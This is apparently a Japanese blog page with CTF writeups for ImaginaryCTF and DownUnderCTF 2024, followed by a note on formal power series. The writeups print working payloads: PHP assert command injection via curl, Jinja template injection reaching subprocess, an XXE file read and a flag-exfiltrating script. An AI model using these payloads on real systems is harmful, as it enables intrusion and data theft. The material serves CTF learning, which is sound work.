(6513647070475959647699583207721162855816591251116965673175324764506065749704905886485134724133875080092439935476237030141738358177674938538984380453209964808063327510331859618056702428547002394265768084944478541866225210621168019986767359297557996178378902254981536084665126018273301797760374115415514 : 5387141467798735312615286901194118227550620065984334257104333263637483749178837383319791846803161701061416237785879685282804903641810651533546481984610947336875659106524726200456639930296424541429479891194943767516402529694529914712855323978928408214528393669634050877945843150877854499436503198733652 : 1)
sage: k = (p + 1)
sage: pub_bob[1] * (k // ls[0])
(0 : 1 : 0)
sage: pub_bob[1] * (k // ls[1])
(0 : 1 : 0)
sage: pub_bob[1] * (k // ls[2])
(5322189480544182832011971049829703560491522598707764860170097499035459584202642576271681048328082826150779517761822285185030358693879517644511735579472835823207946237343705693405400850462128766510590509437601175455537665170074590726959244525211794010374829888174012316454905144073239036687785587052940 : 11716955669584001430171043386116026224151702247156420314831486639061876732250956862050431022914406114606971298297011607303383864122819204604175787664247351625786694710920488473477176881102782428832882505407903371477278739263954873881764003031639973656867580745561410627193201367584502899286537175922914 : 1)
sage: pub_bob[1] * (k // ls[3])
(0 : 1 : 0)
sage: pub_bob[1] * (k // ls[4])
(0 : 1 : 0)

最終的なコードは以下である。

from Crypto.Cipher import AES
from hashlib import sha256

# 問題で与えられた値
base_ser = ...
pub_alice_ser = ...
pub_bob_ser = ...
ct = ...
iv = b'\x94j;L,\xf3\xde\xc5'

ls = [3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251, 257, 263, 269, 271, 277, 281, 283, 293, 307, 311, 313, 317, 331, 337, 347, 349, 353, 359, 367, 373, 379, 383, 389, 397, 401, 409, 419, 421, 431, 433, 439, 443, 449, 457, 461, 463, 467, 479, 487, 491, 499, 503, 509, 521, 523, 541, 547, 557, 563, 569, 571, 577, 587, 593, 599, 601, 607, 613, 617, 619, 631, 641, 643, 647, 653, 659, 661, 673, 677, 683, 691, 701, 709, 719, 929]
p = 4 * product(ls) - 1
F = GF(p)
E0 = EllipticCurve(F, [1, 0])
G = E0.gen(0)
base = (E0, G)

# recover Alice's private key
alice_E = EllipticCurve(GF(p), [0, 0, 0, pub_alice_ser[0], pub_alice_ser[1]])
alice_G = alice_E([pub_alice_ser[2], pub_alice_ser[3], 1])
alice_priv = []
for l in ls:
    if (alice_G * ((p + 1) // l)).is_zero():
        alice_priv.append(l)


def exchange(pub, priv):
    E, G = pub
    es = priv[:]
    for l in es:
        E.set_order(p + 1)
        while True:
            P = E.random_point()
            Q = (p + 1) // l * P
            if not Q:
                continue
            Q.set_order(l)
            phi = E.isogeny(Q)
            E, P = phi.codomain(), phi(P)
            G = phi(G)
            break
    return E, G

bob_E = EllipticCurve(GF(p), [0, 0, 0, pub_bob_ser[0], pub_bob_ser[1]])
bob_G = bob_E([pub_bob_ser[2], pub_bob_ser[3], 1])

shared_1 = exchange((bob_E, bob_G), alice_priv)

shared_secret = int(shared_1[0].j_invariant() + shared_1[1][0])
key = sha256(str(shared_secret).encode()).digest()
cipher = AES.new(key, AES.MODE_CTR, nonce=iv)
flag = cipher.decrypt(ct)

print(flag)

Misc

starship

4 で incoming の評価を知ることができる。incoming は 2 個とも enemy と判定されるまでガチャを回したのだから enemy に決まっているが、
重要なのは incoming の座標を知れることである。
42 でデータの追加ができる。そこで incoming[1] の座標と、それが friendly であることを教えてやれば良い。
その後 2 で学習して 4 で結果を得れば良い。

Web

readme

Dockerfile にフラグが書いてある。

journal

https://blog.hamayanhamayan.com/entry/2021/12/18/132236 に以下の記述がある。

PHP assert() Vulnerable to Local File Inclusion – All things in moderation
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!"); // vulnerable code!
assert("strpos('', 'qwer') === false && strlen(file_get_contents(“../../../../../etc/passwd”)) == 0 && strpos(‘1', '..') === false") or die("Detected hacking attempt!"); // vulnerable code!
$file = ', 'qwer') === false && strlen(file_get_contents(“../../../../../etc/passwd”)) == 0 && strpos(‘1をやった結果

これを参考にして以下のようなリクエストを投げる。

# これでフラグの名前がわかる
curl -sS 'http://journal.chal.imaginaryctf.org/?file=%27%20.system("ls%20/f*").%20%27'

# フラグに対して cat する
curl -sS 'http://journal.chal.imaginaryctf.org/?file=%27%20.system("cat%20/flag-cARdaInFg6dD10uWQQgm.txt").%20%27'
P2C

ユーザーから Python スクリプトを受け取って、それの結果に応じてページの背景色を設定するページである。

ここで、色の決定プロセスが print(色計算関数(ユーザーのスクリプト())) のような呼び出し方をしているので、例えば以下のようなスクリプトで常に #800000 を設定させられる。

print('(128, 0, 0)')
exit()

以下のようなスクリプトは #690000 を設定するので、flag の 0 文字目は 0x69 = 'i' である。

dat = open('flag.txt','rb').read()
print(f'({dat[0]}, 0, 0)')
exit()

これを flag のすべての文字に対してやれば良い。コードは以下である。

import urllib.parse
import requests
import re
import urllib

def getpos(pos: int) -> int | None:
    url = "http://p2c.chal.imaginaryctf.org/"

    code = f"""
dat = open('flag.txt','rb').read()
print(f'({{dat[{pos}]}}, 0, 0)')
exit()
"""

    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
    }
    req = {
        'code': code,
    }
    response = requests.post(url, headers=headers, data=urllib.parse.urlencode(req))

    valid = re.compile(r"rgb\(([0-9]{1,3}), ([0-9]{1,3}), ([0-9]{1,3})\)")
    match = valid.search(response.text)
    if match:
        if match.group(2) == "0" and match.group(3) == "0":
            return int(match.group(1))


ls = []
while True:
    byte = getpos(len(ls))
    print(byte, ls)
    if byte is None:
        break
    ls.append(byte)

print(bytes(ls).decode('ascii'))

終了後に他の参加者の writeup を読んだらもっと頭のいい方法があった。(https://blog.hamayanhamayan.com/entry/2024/07/22/145709#web-P2C で、直接フラグを出力する)

Forensics

bom

先頭 2 バイトをカットするとフラグになる。

packed

ダウンロードできる routed.pkz というファイルは zip archive である。

$ file routed.pkz
routed.pkz: Zip archive data, at least v2.0 to extract, compression method=deflate

これの中には secret.png というファイルがあり、その中に flag が画像として書かれている。

まとめ

良かった点は以下。

  • CSIDH 関連の問題を解くうちに CSIDH の理解が深まった
  • Crypto の解けそうな問題が大体解けた
  • Web 問題が少しだけ解けた

反省点は以下。

  • reversing, pwn がかなり苦手で、解くための手立てが皆無だった

DownUnderCTF 2024 writeup

DownUnderCTF 2024 に参加した。日本時間で 2024-07-05 18:30 から 2024-07-07 18:30 まで。

結果は 287/1515 位。

解法集

beginner

parrot the emu

jinja テンプレートエンジンに任意のユーザー入力が与えられることを利用した脆弱性がある。

{{request.environ.__getitem__('werkzeug.socket').dup.__func__.__globals__.__getitem__('o''s')}}Python での os にあたるものが手に入る。

{{request.environ.__getitem__('werkzeug.socket').dup.__func__.__globals__.__getitem__('o''s').__builtins__.__getitem__('__import__')('subprocess').check_output(('ls','-l'))}} などで任意コマンドが実行できるので、cat flag を実行すれば良い。
参考: https://blog.hamayanhamayan.com/entry/2021/12/19/191043

Sun Zi's Perfect Math Class

1000 <= x <= 1100
x = 2 (mod 3)
x = 4 (mod 5)
x = 5 (mod 7)
を解けば良い。下三つの制約は x = 89 (mod 105) と翻訳できるので、条件を満たすのは 105 * 9 + 89 = 1034 である。

これを入力すると以下のような方程式が渡される:
c_1 = m^3 \pmod{n_1}, c_2 = m^3 \pmod{n_2}, c_3 = m^3 \pmod{n_3}
これも中国剰余定理を使えば  c = m^3 \pmod{n_1n_2n_3} なる c が得られ、このような c は m^3 に等しいので立法根を計算すれば良い。

from Crypto.Util.number import *

e = 3

c_1 = 105001824161664003599422656864176455171381720653815905925856548632486703162518989165039084097502312226864233302621924809266126953771761669365659646250634187967109683742983039295269237675751525196938138071285014551966913785883051544245059293702943821571213612968127810604163575545004589035344590577094378024637

c_2 = 31631442837619174301627703920800905351561747632091670091370206898569727230073839052473051336225502632628636256671728802750596833679629890303700500900722642779064628589492559614751281751964622696427520120657753178654351971238020964729065716984136077048928869596095134253387969208375978930557763221971977878737

c_3 = 64864977037231624991423831965394304787965838591735479931470076118956460041888044329021534008265748308238833071879576193558419510910272917201870797698253331425756509041685848066195410586013190421426307862029999566951239891512032198024716311786896333047799598891440799810584167402219122283692655717691362258659

n_1 = 147896270072551360195753454363282299426062485174745759351211846489928910241753224819735285744845837638083944350358908785909584262132415921461693027899236186075383010852224067091477810924118719861660629389172820727449033189259975221664580227157731435894163917841980802021068840549853299166437257181072372761693

n_2 = 95979365485314068430194308015982074476106529222534317931594712046922760584774363858267995698339417335986543347292707495833182921439398983540425004105990583813113065124836795470760324876649225576921655233346630422669551713602423987793822459296761403456611062240111812805323779302474406733327110287422659815403

n_3 = 95649308318281674792416471616635514342255502211688462925255401503618542159533496090638947784818456347896833168508179425853277740290242297445486511810651365722908240687732315319340403048931123530435501371881740859335793804194315675972192649001074378934213623075830325229416830786633930007188095897620439987817


# Slightly modified version of https://stackoverflow.com/questions/356090/how-to-compute-the-nth-root-of-a-very-big-integer
def find_invpow(x,n):
    """Finds the integer component of the n'th root of x,
    an integer such that y ** n <= x < (y + 1) ** n.
    """
    high = 1
    while high ** n <= x:
        high *= 2
    low = high//2
    while low < high:
        mid = (low + high) // 2
        if low < mid and mid**n < x:
            low = mid
        elif high > mid and mid**n > x:
            high = mid
        else:
            return mid
    return mid + 1


c = 0
n = 1
for (cc, nn) in [(c_1, n_1), (c_2, n_2), (c_3, n_3)]:
    new_c = (c * nn * inverse(nn, n) + cc * n * inverse(n, nn)) % (n * nn)
    c = new_c
    n *= nn

m = find_invpow(c, 3)
print(long_to_bytes(m))
zoo feedback form

Dockerfile を読むと、フラグが /app/flag.txt にあることがわかる。

https://blog.hamayanhamayan.com/entry/2021/12/04/114351 の LFI を行う。

curl -X POST 'https://web-zoo-feedback-form-2af9cc09a15e.2024.ductf.dev/' -H "Content-Type: application/xml" -d '<!DOCTYPE root [<!ENTITY e SYSTEM "file:///app/flag.txt">]><root><feedback>&e;</feedback></root>' でいけた。

  • -H "Content-Type: application/xml" は必須。これがないと Error parsing XML: Document is empty, line 1, column 1 と言われる。
  • <feedback></feedback> で囲むのは必須。これがないとエラー。
shufflebox

大きさ 16 の permutation を求める問題。
1 行目と 2 行目で各位置での文字の組み合わせはすべて相異なるため、それを利用して permutation を特定すれば良い。

package main

var (
	s1         = "ccaccdabdbdbbada"
	s2         = "bcaadbdcdbcdacab"
	cipherText = "owuwspdgrtejiiud"
)

func main() {
	perm := make([]int, 16)
	for i := 0; i < 16; i++ {
		index1 := s1[i] - 'a'
		index2 := s2[i] - 'a'
		perm[i] = int(index1)*4 + int(index2)
	}
	plainText := make([]byte, 16)
	for i := 0; i < 16; i++ {
		plainText[perm[i]] = cipherText[i]
	}
	println("DUCTF{" + string(plainText) + "}")
}
number mashing

Ghidra で逆コンパイルをしてみた。以下のようになった。

  __isoc99_scanf("%d %d",&a,&b);
  if (((a == 0) || (b == 0)) || (b == 1)) {
    puts("Nope!");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  local_114 = 0;
  if (b != 0) {
    local_114 = a / b;
  }
  if (local_114 != a) {
    puts("Nope!");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }

ここから、a != 0 && b != 0 && b != 1 && a / b == a が成立するような int a, b を求める必要があることがわかる。
a = (-1) << 31, b = -1 とすればよい。

crypto

decrypt then eval

AES-CFB の仕様から、16 バイト以下の平文・暗号文であれば、単にセッションごとに固定の乱数と xor しているのと変わらない。

eval は数字の列をそのまま値として評価するので、数字列になるように 1 文字ごとに調整していけば乱数がわかる。
最後に FLAG を評価させれば良い。

from pwn import *
import re

script = 'FLAG'

io = remote('2024.ductf.dev', 30020)

pat = re.compile(b'^[0-9]*\n$')

perm = []
for i in range(16):
    for j in range(16):
        perm.append(j * 16 + i)

key = []
for pos in range(min(len(script), 16)):
    for i in perm:
        io.recvuntil(b'ct: ')
        ct = b''
        for k in key:
            ct += format(k ^ 0x31, '02x').encode('utf-8')
        ct += format(i, '02x').encode('utf-8')
        io.sendline(ct)
        line = io.recvline()
        print(pos, ct, line)
        if line != b'invalid ct!\n' and pat.match(line) and len(line) == pos + 2:
            last = line[-2]
            key.append(last ^ i)
            break

ct = b''
for i in range(len(script)):
    ct += format(ord(script[i]) ^ key[i], '02x').encode('utf-8')

io.recvuntil(b'ct: ')
io.sendline(ct)
print(io.recvline())
my array generator

レジスターは 32-bit で 128 個あり、鍵は 32 バイトである。
鍵が 16 倍に伸長された後 update されるのだが、レジスターの値としてあり得るのは鍵 (8 * 32-bit) および 0xffff_ffff の線型結合で得られる 2^9 通りである。

0xffff_ffff を除くと純粋な線形変換であり、なおかつ鍵はすべて ASCII であるため 0xffff_ffff が含まれているかどうかは簡単にわかる。(各バイトが 0x80 以上かどうかを見れば良い。)

import random

KEY_SIZE = 32
F = 2**14


class MyArrayGenerator:
    def __init__(self, n_registers: int = 128):
        self.n_registers = n_registers
        random.seed(1234)

    def prepare(self):
        self.registers = [0 for _ in range(self.n_registers)]
        self.key_extension()

        self.carry = self.registers.pop()
        self.key_initialisation(F)

    def key_extension(self):
        for i in range(len(self.registers)):
            j = i % (KEY_SIZE // 4)
            self.registers[i] = 1 << j

    def key_initialisation(self, F: int):
        for _ in range(F):
            self.update()

    def shift(self):
        self.registers = self.registers[1:]

    def update(self):
        r0, r1, r2, r3 = self.registers[:4]

        self.carry ^= r1

        self.shift()
        self.registers.append(self.registers[-1] ^ self.carry)

    def get_keystream(self) -> tuple[int, int]:
        byte_index = random.randint(0, 3)
        return (self.registers[-1], byte_index)

plaintext = "144f3fe104f33fb1db5cd69e1cc18ceb6abbb2424bbd7ed83835d6c4af215ab9865379bf361f8c145689fa7cfa1c8a0c0254f0ef9fefb9559c45e2550d90de096e6b390280009763416f43b1c52005009f499d5c221f7b7b32f9f1f766b8057d5daf1d46a9e6547b2b655df872312a155a24f3ce66a08455006d54dcb3fea2b692010892d63503009904505d729e4b06784347d9d8f097352b73e98129122f59e62886527326022a529b58fcfe2a038b54053cc57123032aba5356e20641fba1ae9bd5398916e29cd2ec2ad01dad60ab2f4b3cbdc17afdfd5f777ac341c0a94581fc1f87782103ab61137f24b605266b8d20a2b295fee2819ce56b4436b7e106e613c6f3a6fcb2f9417b34bbec90874701b4a9402afb242ceab4c7f873a95537334b8ccab122a6dd46fcd818a11b65f3e37863ec1c27c5f832ab3e8c42a26db4d5d6362deb9af2d736390722d28c0e809f0f58b6f3cb079b64f22eeb4a4fe56307b5f4829f218afd7a13e9d1a7f3bcc4dfee5d83d4600c6c1cf69530a3413568a31251e533c9be324e7bb7b977dce081f82793001457f17383a58d8eb8f7dfc72c67f7ca0ac952257e5bf5881255564867ab8e8198c314309e211dd3d29b88d206c6111ca98aa9bf1f7c8ae2ebbd6fa1f73229b349c76bccc1c0e3460bcb350c06efac3d1503273da0f388e35fc7e4d8e22bcbe5204d7e3c05019689957b80d28bdcf4ff3536a640c0aca822e0943e559c7e5bc475aebc4459f55e95e0972e76d2ca23a7e5dd5e9762bc360dbfed8c2459cc54d5f1825dec6a0ef09de00bc6b9e87d8b8bfeca3722de36116cb549d7b45d4b7ee72af3c9d78e8358e33b2aa0ce3f91380da77cfc32d9e3f635703519da183aefe078dda73fc450b8cc899a4f90cee20597a5be5eec67e98f69f9801b6063d77c270c821ae71e1fb16a1fe66c68fc39d3c1ff75e1d78a2a42cc0bd737b90d6c22ada2e1ef041094adb7c341cb228d2b5f353bef801a9ac657274196ef91212c310eb41b6e7aa6c03178d3c8796731bfe41e54ee2092d5ae85679e77d2872761bf6001aefe68c83ea4b1968af3ab81de5fbe163eddb86a84efcdcb7cd77a335b1ebd75a6b2b913c6f579b4e80c21321cdc53bc5753d3d6f446d5cecc962c6f308ae80441026378a0556b49a40d62a500839197ae7b44a8595dee3b9ec358a495c73009d82f948b560a41fcad13530f81fe94604e1f95fd9fc47b0e94f1693f28aa470eb07f1f1ce73c40a818c517a9af0eb8b655e8de065b791291d1be9c3d4ead2aca027e4303f04650a6a812d156711dd29d54a8b84362e3d186c1ffee12c72e9a907c41b1963ab30d02dffbaf04e2c8d5fc383f8d469ae708fd91730db423a2a6d4eb6503b74923c04d754f190ab7bee78a53540a82e7b98260d84ac0159ff2759a0cbce70885a9ee46e0ed88091d1ed93146e916be84b28bb0a5e808684769d68fd7f392952d1a6d3b5a858eef6411abe859cb6a78a16d8f269a8d17d8bf81782695b3f41f15e90d03b0103c7e2ee3010db34b699f1354d9a3ecf3a1f7da0e510af3301f76dad2f180d75368f6fee0c673c3d20a6b02efd33c742a2cdaafa1365e797652816a2a443fff8efff3ff761b235b5959ee0cbbc22f56fbb1f8869e048760a3d5fcc17fd12433b9e3721e2197d703ae7d3a4c01a9e370541a9963190d63d4390697c65d1f5f4bb33b4237c1a08ef6503f4d6fae907b71fbd528668ca3eeb6dfd3a6421675cfc973e398f671f35f0194e3ac69bfbef73dd29af81fe3249ba829af79bb3ea26808512f"
ciphertext = "3810d227b7ca7cb8cc9afa35679e154b763623db53428127a858c5c75e199088883d9b94bb4b4cbd3276e3c2e9d132832067362974d6e4a3898376003da1aba9ece6ff649800979c58d450216dc4cfce6e427f7736b444afd5f9ac548ad40f0d510ff07f43051772678671adf691e47b46c04c577e5f7baae92c070e9d660dbcd291b055dc47026e845bdcbe5e357bc8a9bc205223ee16a440d3883d1976a569341917791426022a3dc7f4d1ea77c47e1637842194c72344f187dad900146a6fd110254d79160faca1dfb4856636153abe7aad92a685fdfd49e5f91124a7d0b1d331eef772ef0dc4b34c0caf4950e90dee3e17c6f21f82def29752edf0f39d596b8be79598a069954b6018e4fe90347c7342be34d5afb6143987d5c139f47118ab4b8c354e22bf99c06fc4812b8a16ac782d0d8869b6478a12c5eca731bee0423d12bbd218aacadd1bed74e446c8c1b1fcee577b6bf9eaab0ae9e842b4ddb63c7517d02b599af3918fe741434a35f00052e7b64740dc4a33bd3b78a1cdcc8abc441247b99fe2dbfdd8eaa92adfc715b3e52d8e2b0003c9783e6878d1c783950ad71307076a699ee9eba4bf2a84a1e217146f1ac51c5867a24c533d426f9820ea0c2251339034d02fee4422d1067b842aaa0b3cc7dd831002bef262d4e8faa42762104a836928cc969862372e55b7eeeac22029ba3d89c2ca26aab75dc47b802d6d4e8d936b962ad1f3f3c9769b0f4df5804f9d5d7410ef1b2acc1d6a0baea376c5be0f0d29296b5a7a9308ae0aee82d0756cdc13bbd67c3cab525cc26d93469646821b2882954576b7c3bc5ef2ad65c65c41764727c875113bde86b55fd5a0ce9d03419d39dc895f12719289e16a6aeacab7cf70d52144a41562f2018d84a2cf0242e861a926f1194ab6fc52f93ba20400a302b621b014125e1cbf7105284c62b71249a624a179d728b811e7258a0fb3ec03c163c195fd697ea5ed63db4134dde26a15a5a589f5ba51f5db8cd0a76500a3a111610988cfdaf8de3e7823d66e0afa2df62788b359989e0e88a36733bce1adf3730d6b581453273cb38abade61939bc5316ad76268759ff43c5f5ebac24358f08fdbbbc826e66e6dc5e0c77adeef8db54453435745709c9bd875a85da5e0a939c69c2805cdf8f8a05ae0d1456d5269a045a86a05fd2be3f92ef217cb0c3e95f8f390cfd8c5779ba0468768164c23c59a193dee0af396ba58e816e369bb3d56b8b428048832d23c1288e025bafa380750e803260a65b97f359811643563c3d04e717765f79ce3f11340eb6931c3e3ce71852d1c9b9c2acba4107329cb407ee7232256567c0d3a2a03a4cb9675c8b40e907705c5552c8e4cea4f57759171c2cd4de2c96c9b8071aa26976028d76b365b48a85c1a7ebf5eeb7714126ae93fae26ac69ce1eacc928669e6f88171f1288668f0d146f2265787224cfdfddaef239286c68bbc54702763d72239b77b9d84807a01717b7d6791838381c2c753a008f4eb52ceb289eb979e184c426e8d76fe8d0d1f55d74ecd1593019f94956757f91c3b76f057153ba720bc1caa7d1285397e0bac4aa12635864186f67d376bb8527910f2df0a12c0d0d50952e763b74f06ec033e3ddde9430531953def2f400604ea5eb1d5be2cbf3dfaec238ca2efe5b73c6cabbf017d73582d3f712c67debd8d5f2509bb6dab20897150b4549c44bb33ba4768bcf9290360f7ecf3ba988d3ab20ca4d0028e81d4e1d7770ed4734d76472eb9b630515553be84dfa4ad8c6f200ab098e5709966cc659938082a2955cd740"

p = bytes.fromhex(plaintext)
c = bytes.fromhex(ciphertext)

flag = ['?'] * 32
cipher = MyArrayGenerator()
cipher.prepare()
for i in range(len(p)):
    cipher.update()
    (comb, r) = cipher.get_keystream()
    d = p[i] ^ c[i]
    if d >= 128:
        d ^= 0xff
    if comb & -comb == comb :#and comb != 0:
        index = (comb - 1).bit_count()
        flag[index * 4 + 3 - r] = chr(d)

print("".join(flag))
three line crypto

頻度分析が使えそう。

ガチャガチャいじっている最中に https://anastrophe.uchicago.edu/cgi-bin/perseus/citequery3.pl?dbname=LatinAugust21&getid=1&query=Verg.%20G.%201.257 を見つけた。
これを参考に平文を得て、平文の中の DUCTF という文字列を探せば良い。最終的なコードは以下のようになった。

f = open("passage.enc.txt", "rb")
buf = f.read()
for l in range(2, 6):
    tabl = {}
    for i in range(len(buf) - l + 1):
        tabl[buf[i:i+l]] = tabl.get(buf[i:i+l], 0) + 1

    tabl_freq = sorted(tabl.items(), key=lambda x: x[1], reverse=True)
    print(tabl_freq[:10])

# headfreq
for l in range(2, 10):
    head = buf[:l]
    f = 0
    headnoncap = (head[0] ^ 0x20).to_bytes(1) + head[1:]
    fnoncap = 0
    for i in range(0, len(buf) - l + 1):
        if buf[i:i+l] == head:
            f += 1
        if buf[i:i+l] == headnoncap:
            fnoncap += 1
    print(f'headfreq: {l} {f} {fnoncap}')

known = [
    (b'\x88\x13\xc0\x0bn', b' the '),
    (b'\x00\x30\x9c\x0f\xe5\x88', b'\x00What '),
    (b'\x10\x9c\x0f\xe5\x88', b'what '),
    # (buf[:16], b'What makes the co'),
    (buf[40:40+11], b'what star\nM'),
    (buf[626:626+8], b' the war'),
    (buf[2071 - 1:2071+14], b' what thou wilt'),
    (buf[2647:2647+13], b' the groaning'),
    (buf[2721:2721+12], b' the craving'),
    (buf[3721:3721+30], b' the clods lie bare till baked'),
    (buf[4736:4736+45], b' the light stubble burn with crackling flames'),
    # (buf[2076:2076+7], b'thought'),
]

rand = [None] * 16
for cipher, plain in known:
    for i in range(len(cipher) - 1):
        index = plain[i] & 15
        newval = cipher[i + 1] ^ plain[i + 1]
        if rand[index] is not None and rand[index] != newval:
            print(f'Conflict at index {index}: {rand[index]} != {newval}')
        rand[index] = newval

print(rand)

y = 0

pos = 0

conts = []
now = []
nowcipher = []
while pos < len(buf):
    for k in known:
        if buf[pos:min(len(buf), pos+len(k[0]))] == k[0]:
            pos += len(k[0])
            y = k[1][-1]
            now += list(k[1])
            nowcipher += list(k[0])
            break
    x = buf[pos]
    if y is None or rand[y % 16] is None:
        y = None
        if len(now) > 0:
            conts.append((pos - len(now), bytes(now), bytes(nowcipher)))
            now = []
            nowcipher = []
    else:
        y = rand[y % 16] ^ x
        now.append(y)
        nowcipher.append(x)
    pos += 1

if all(e is not None for e in rand):
    y = 0
    for i in range(len(buf) - 1):
        x = buf[i]
        y = rand[y % 16] ^ x
        print(chr(y), end='')
else:
    for e in conts:
        print(e)
V for Vieta

a^2 + ab + b^2 = u^2(2ab + 1) を a, b >= 2^2048 の条件で解く必要がある。

調べると Math StackExchange に記事が見つかるが、これの応用で、a = u, b = 2u^3-u は解の一つである。
(a, b) = (a1, b1) (a1 <= b1) が解の一つであるとき、a2 = b1*(u^2 - 1) - a1 とすれば (a2, b1) は新しい解である。これを利用してより大きい解が得られる。

from pwn import *
import json

# Slightly modified version of https://stackoverflow.com/questions/356090/how-to-compute-the-nth-root-of-a-very-big-integer
def find_invpow(x,n):
    """Finds the integer component of the n'th root of x,
    an integer such that y ** n <= x < (y + 1) ** n.
    """
    high = 1
    while high ** n <= x:
        high *= 2
    low = high//2
    while low < high:
        mid = (low + high) // 2
        if low < mid and mid**n < x:
            low = mid
        elif high > mid and mid**n > x:
            high = mid
        else:
            return mid
    return mid + 1


def find(u: int) -> tuple[int, int]:
    a = u
    b = 2 * u*u*u - u
    while min(a, b) < 2**2048:
        assert a * a + a * b + b * b == u * u * (2 * a * b + 1)
        a2 = b * (2 * u * u - 1) - a
        a = b
        b = a2
    return (a, b)

io = remote("2024.ductf.dev", 30018)

io.readline()
while True:
    conf = io.readline()
    conf = json.loads(conf)
    if "flag" in conf:
        print(conf["flag"])
        exit()
    if "k" not in conf:
        print(conf)
        exit(1)
    k = int(conf["k"])
    u = find_invpow(k, 2)
    a, b = find(u)
    io.sendline(json.dumps({"a": a, "b": b}).encode('utf-8'))

misc

discord

この CTF 用の discord で特定人物の発言を調べる (from: _hex_bug) と見つかる。

osint

offtheramp

exiftool で調べると以下の情報がわかる。

$ exiftool offtheramp.jpeg | grep 'GPS Pos'
GPS Position                    : 38 deg 9' 15.95" S, 145 deg 6' 29.69" E

これは https://www.google.com/maps/place/38%C2%B009'16.0%22S+145%C2%B006'29.7%22E/@-38.1544928,145.1055938,17z/data=!4m4!3m3!8m2!3d-38.1544306!4d145.1082472?entry=ttu であり、
見えているのは Olivers Hill Boat Ramp であることがわかる。

cityviews

Melbourne, Australia にある 3AW のビルの写真であり、東南東から撮影している。東南東の近隣のホテルを探しまくったところ、Hotel Indigo Melbourne on Flinders で正解になった。

まとめ

公式解説は以下のリンクから得られる。
github.com
反省点は
(i) 途中で息切れして、hardware, forensics の問題を見る余裕がなかった
(ii) pwn がかなり苦手で、解くための手立てが皆無だった
(iii) web 問題が一切解けなかった
あたりだと思われる。

yukicoder 1962 の解説の解説の解説

yukicoder 1962の解説の解説 - メモ
これが読みづらいということではないのですが、最初読んだ時意味が分からず自分で考えてみたら納得できた、ということがあったので、その過程を書いておきます。

以下色々なものを未定義なまま書き進めます。

正規表現とか

突然ですが、正規表現と形式的冪級数を同一視します。以下のように対応関係を定めます。

  • 正規表現 x は形式的冪級数 x に対応する。
  • 正規表現 R と S について、R|S を R または S にマッチする正規表現とし、形式的冪級数 R + S に対応させる。
  • 正規表現 R と S について、RS を R にマッチする文字列と S にマッチする文字列の連結にマッチする正規表現とし、形式的冪級数 RS に対応させる。
  • 正規表現 R について、R* を R の 0 個以上の連結にマッチする正規表現とし、形式的冪級数 1/(1-R) に対応させる。
  • 正規表現 R について、R+ を R の 1 個以上の連結にマッチする正規表現とし、形式的冪級数 R/(1-R) に対応させる。
  • 正規表現 R について、R? を R の 0 個または 1 個の連結にマッチする正規表現とし、形式的冪級数 1+R に対応させる。

この対応関係では、たとえば x と x|x などを区別することに注意してください。前者は形式的冪級数 x に対応しますが後者は 2x に対応します。
(xx...x (x を k 個連結したもの) が何通りの方法で正規表現にマッチするか) = (形式的冪級数における x^k の係数) というのが注目すべき等式です。

ここで、おもむろに a, b を正規表現、A = a+, B = b+ とします。また a, b, A, B に対応する形式的冪級数も a, b, A, B と表記します。
(a|b)+ と (A と B が同じ記号が連続せずに 1 個以上続く) は必ず同じ文字列にマッチします。なぜなら a の繰り返しの部分、b が始まる直前までを A だとみなす、などということができるからです。
つまり、(A と B が同じ記号が連続せずに 1 個以上続く) に対応する形式的冪級数を f(A, B) と表記することにすると、 \frac{a+b}{1-a-b} = f(A,B) が成立するのです。
(A と B が同じ記号が連続せずに 1 個以上続く) はたとえば (A(BA)*B?)|(B(AB)*A?) などと書けるので、形式的冪級数に直すと f(A,B)=A(1+B)/(1-AB)+B(1+A)/(1-AB) とかになるはずです。以上の考察から以下の等式が成り立ちます。


 \displaystyle A = \frac{a}{1-a} = a + a^2 + a^3 + \cdots, B = \frac{b}{1-b} = b + b^2 + b^3 + \cdots
のとき

 \displaystyle \frac{a+b}{1-a-b} = f(A, B) = \frac{A(1+B)}{1-AB}+\frac{B(1+A)}{1-AB}

正規表現が 3 つ以上になったとき、同じように (A, B, C, ... が同じ記号が連続せずに 1 個以上続く) に対応する形式的冪級数を f(A, B, C, ...) と表記することにすると、同じように


 \displaystyle \frac{a+b+c+\cdots}{1-a-b-c-\cdots} = f(A, B, C, \ldots)
が成り立ちます。ここで f(A, B, C) とかを直接書き下す気には全くなりませんし対応する正規表現も手間が多過ぎて書きたくありませんが、ひとまずそれっぽい関係ができました。めでたしめでたし。

逆転の発想

上の議論は、任意の a, b, c, ... およびそれらから定まる A, B, C, ... に対して適用できます。特に a, b, c, ... が何か具体的な正規表現やら「数え上げ的な意味」に対応している必要はないです。また f(A, B, C, ...) も「A, B, C, ... が何らかの繰り返しに対応する形式的冪級数である」のようなことは要求していません。

なので、逆に以下のような等式が言えます。


 \displaystyle a = \frac{A}{1+A}, b = \frac{B}{1+B}, \ldots
のとき

 \displaystyle \frac{a+b+c+\cdots}{1-a-b-c-\cdots} = f(A, B, C, \ldots)

前の節で私たちは怠惰ゆえに三変数以上の f を明示的に書くことを避けた訳ですが、わかりやすい形になってくれたのでその必要もなくなりました。めでたし。

一応念のため、yukicoder 1962の解説の解説 - メモとの対応を書いておきます。

  • A, B, C, ...:  f_i に対応
  • a, b, c, ...: F_i に対応
  • a + b + c + ...: G = \sum_{i} F_i に対応
  • 全体 ( (a + b + c + \cdots) / (1 - a - b - c - \cdots)):  G/(1-G) に対応

まとめ

結局

  • A, B, C, ... として繰り返しであるものを考えるとうまいこと等式が成り立つ
  • 「繰り返しであるもの」という制約は実は不要

の 2 点に集約される記事でした。個人的にこの考え方だとしっくりきたので、他の人の役に立つと嬉しいです。

追記 1 (2024-04-16)

類題の解説yukicoder contest 420 H 別解 - つちのこの日記を見て思ったのですが、人々は包除原理を行うときにいちいち「包除原理で加減算したあとの値」に意味を求めたりしないので、ここでも同じように無理に a, b, c, ... に意味を求めなくてよさそうですね。
更に言うとこのテクニック自体が包除原理的かもしれません。

追記 2 (2024-04-16)

